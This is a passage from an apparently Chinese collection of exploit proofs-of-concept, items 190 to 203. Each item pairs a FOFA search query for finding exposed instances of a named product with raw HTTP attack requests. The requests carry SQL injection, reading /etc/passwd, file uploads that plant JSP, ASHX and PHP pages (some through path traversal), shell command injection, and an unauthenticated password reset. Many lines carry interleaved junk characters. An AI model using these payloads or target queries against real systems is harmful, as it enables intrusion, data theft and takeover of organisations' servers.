FOFA：app="LANWON-临床浏览系统"
- o! \# {& T7 u. A, a! q. a' xGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
) `* {0 Z+ D8 S/ t- dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
2 F9 @3 J2 F9 U; }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 J+ z# a6 |/ R: l( r( AConnection: close
6 d" ]7 V( ?- |- o4 k

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
4 E& m8 n3 n" e$ I: X& Q2 N; _FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
) P% V8 e; y4 i+ {! f) YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
! m( h' J3 x& g$ tContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
/ n# B$ j; \. m1 x" R( RAccept-Language: zh-CN,zh;q=0.9
8 w' o) [' F* U. f0 A
( i0 y) a- C4 X- R; Npoi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
( t3 y8 s: l# x2 y/ m: Q3 Z! x  A3 d% JPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
4 N# k& C4 G& V/ {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& i1 @: J# O2 j( XContent-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
3 p1 g9 D( a+ q
% n" D6 y5 F: d
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
! _) L. Z/ \4 k8 pPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
, b( g4 K9 W# o9 ?3 a) E, UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


* @+ s! x/ x' [1 o  E! i0 F8 h& _<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
1 q1 q! n# _0 k2 c. v" Epublic class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
0 V7 W, t! f, H2 mpublic void ProcessRequest(HttpContext ctx)
{
& s: P$ p# B7 {) g# U% Vctx.Response.Write("test");
2 n+ b; i* B% f+ e/ a}
2 M# J; O: M% p4 V9 k, I: u/ A  J0 H}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
3 A9 Q! C# E# Z. {; u6 W; cFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
! q. x* u) o3 V) u0 `* @Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
. a  ~% n' `. r/ {; g

' F4 v6 p& x" L, e6 e8 K# _, TPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
, ?" i% i1 L" RHost:
User-Agent: Mozilla/5.0
% _  F' \+ V* ^! ~$ uAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
2 `- e. M+ }# b% SCookie: PHPSESSID=2333333333333;
/ _4 r* p: j) T( N5 a1 {$ l& a% lContent-Type: application/x-www-form-urlencoded
Content-Length: 84
* Z7 S! l/ K7 l. z  f' j; u
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
, e  T- F2 D! \
6 K* B) D  ~" g* p
& ^' ?& L" Z8 x  e8 b/ \; ?  A3 UGET /master/img/config HTTP/1.1
' n5 }  D/ ~0 \( `' n  W3 m" b6 eHost:
& P+ K$ o! {* V* _5 cUser-Agent: Mozilla/5.0
; c. W0 g$ X/ x2 Q( ?: E, ?
# @* z' v* U2 ]
- A: J1 E4 M8 a/ [194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
9 q: H- Z8 [2 LHost: host
* t# k7 G1 {  @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
" T5 ]7 ^  c. c' @& KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: c0 l  c+ |8 \3 t6 [, O/ q( AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; @! h8 `' v; x! |2 p! Y; W) AAccept-Encoding: gzip, deflate
Connection: close
" f( S! v1 `4 q- c4 EContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

2 f5 l, z8 T! Z! J1 [- y9 cContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
+ g& d1 C+ y' K, p0 i6 E# A2 Z  YContent-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
/ A- d. K, q& U% ~* L' lContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
5 {+ [) r" W) a& [4 g+ l; LPragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
+ G. ?# a3 n# J" y' K7 YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 J7 s3 D1 W! lConnection: close
( W* ~% j3 e" c9 N3 b. R/ B' ~! jContent-Type: application/x-www-form-urlencoded
* J/ @7 N. M0 R$ ?3 d1 ~Content-Length: 68

8 I3 P. L, ?" H) A{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

5 Q) @4 L  @/ y6 _/ d! W/ ^
5 }, [: X3 i9 v; q4 i/ v" F196. 河南省风速科技统一认证平台密码重置
4 F9 [* x3 R/ W  N( SFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
3 G$ t  I1 Q1 p- ~& X2 ]Content-Type: application/json;charset=UTF-8
, S+ ?, N# L7 cX-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
! l7 }+ D! i1 `. _. K5 XContent-Length: 45
+ w9 t: n% ~0 B. bConnection: close

{"xgh":"test","newPass":"test666","email":""}

5 k7 }0 H  \: C. h& u- D. c
0 l8 Q7 n( @; e9 c2 ]0 A
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
: s% @- O  ^% kFOFA：app="浙大恩特客户资源管理系统"
; ^9 q9 s( ~2 J- a& qGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
: w! s0 o5 P4 v3 F0 ?* V9 pHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
; U  J0 L5 v9 `1 A7 @Accept-Encoding: gzip, deflate
Connection: close
. K* e* a" c. i* L3 D! I


198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
+ G! N1 @' w  NGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
+ v1 U# \& U% F5 K: w( k- dConnection: close
1 ?' }* V0 z; e( F5 }

199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
" c7 p1 K1 ?( m4 u: y6 q7 Q2 i, rGET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
' K4 L$ B# @6 A% V7 @- @
! i  p  D9 ^: f' r' g( l2.使用刚才上一步获取到的jwt获取cookie：
7 F: Y" T2 E- A8 I
POST /auth/check HTTP/1.1
. u* U0 L; ?& Z0 ZContent-Type: application/json
3 b$ E3 v4 }7 m
7 N% g4 i% z" }% P' Y  O/ e, _{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

: c$ b% r; H$ J0 E& z响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
" f/ C9 v2 m, H/ f6 SPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
% |2 p1 V1 ]7 N+ x# t% K$ hCookie: mysession=95524f01e238bf51bb60d77ede3bea92
# Z  ?9 n6 d' @
, x* h% l5 T6 E( F3 I% m-----------------------------36D28FBc36bd6feE7Fb3
& x" _) E0 Z' V5 \) C# Z) qContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
3 c& D, B& `4 S-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
* w6 z" t) g4 h/ _" w+ a
-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php

3 E# N" k/ E3 t200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
7 p( ]1 {$ G5 y8 |$ l+ C/ w0 RGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
% v3 e) g0 q+ {/ tCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
7 L, }* o& n2 F1 ]1 I" Q) YUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* M+ J4 q$ U3 x- H- k/ LAccept-Encoding: gzip, deflate
  i0 D8 w9 [7 y/ XAccept-Language: zh-CN,zh;q=0.9
$ @; J8 Q8 e) B) O( a

, Q1 O9 C# ?, z* K( j9 \201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
4 C/ ^! P% Z( ^POST /newsedit/newsplan/task/binary.do HTTP/1.1
  n0 m. N1 Z* d# ^Content-Type: application/x-www-form-urlencoded
8 |4 n" |5 e& MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, c- w3 i$ r6 n9 O; D  u, EAccept-Encoding: gzip, deflate
, E, A# w2 F+ G5 j  \& f1 IAccept-Language: zh-CN,zh;q=0.9
Connection: close

: \! `, f& J1 i9 Y, Y* qTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
/ m+ {7 N& n8 G7 t; v8 p

202. 微擎系统 AccountEdit任意文件上传
( D/ i1 H1 f# J0 B4 kFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
" o/ K: S  [' U: Q

. [2 E  }% V0 j  C, W4 g& m+ r替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
! M. G' W  t7 q! |4 W- [, A% d$ uAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
4 G" R. ?7 W3 A! }, p6 m3 @
4 F& u& O" n: n/ j! E-----------------------------786435874t38587593865736587346567358735687
. h3 v& I0 ?7 K% k: \: @' Y* h1 zContent-Disposition: form-data; name="__VIEWSTATE"

4 G% L% M8 Q( D$ |/ A" b1 s+ e( s__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
2 w$ c: e. v7 u3 p& B6 s" sContent-Disposition: form-data; name="__EVENTVALIDATION"

, Z" }9 K0 i$ C__EVENTVALIDATION
# Z1 _; r4 z" _) x9 H; [-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
( M. F& K4 F2 x' P0 o3 H% y' g
Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

5 Z( T; t! c) g上传图片
! t$ a. o; ~* t6 {. d-----------------------------786435874t38587593865736587346567358735687
9 X: z: N" B2 l% n" q( H$ wContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

; _/ n+ n+ r: R7 j+ r* i7 _7 B
5 @, u  n: W1 O! x3 r3 s-----------------------------786435874t38587593865736587346567358735687
  ?+ U- S- R+ eContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
- k% k3 ^1 X8 C& ^1 O2 e9 O
3 ]( u" c% g4 p+ l) {+ N6 b
-----------------------------786435874t38587593865736587346567358735687--

6 F1 v% k' U1 z- h0 x
/_data/Uploads/1123.txt
( D4 O3 H% p  m, ?; W
203. 红海云EHR PtFjk 文件上传
: C7 |2 b8 E. O$ `8 d" AFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
4 Z$ Q! C9 A1 l) xHost: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! B8 r& p: c0 Z" F7 ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
  m% U6 p; u( B" yContent-Length: 210
5 Q: S/ i$ f; a! R: U7 w, A+ u
------WebKitFormBoundaryt7WbDl1tXogoZys4
+ F6 D0 @1 p9 Y( e6 m& \9 NContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
8 P. q( ^* A; `1 C2 w0 V8 v/ ?
% T; @& P: t9 {* Z/ ^, R& D<% out.print("hello,eHR");%>
0 q2 M' G9 K2 B) n------WebKitFormBoundaryt7WbDl1tXogoZys4--

- V8 i+ s+ q% H$ g& V" a5 f9 D


" O' w8 w! ]9 F+ E
! h% h' s4 P4 Q
2 z8 F7 g8 f2 Q6 V! Q3 ^. a! {) f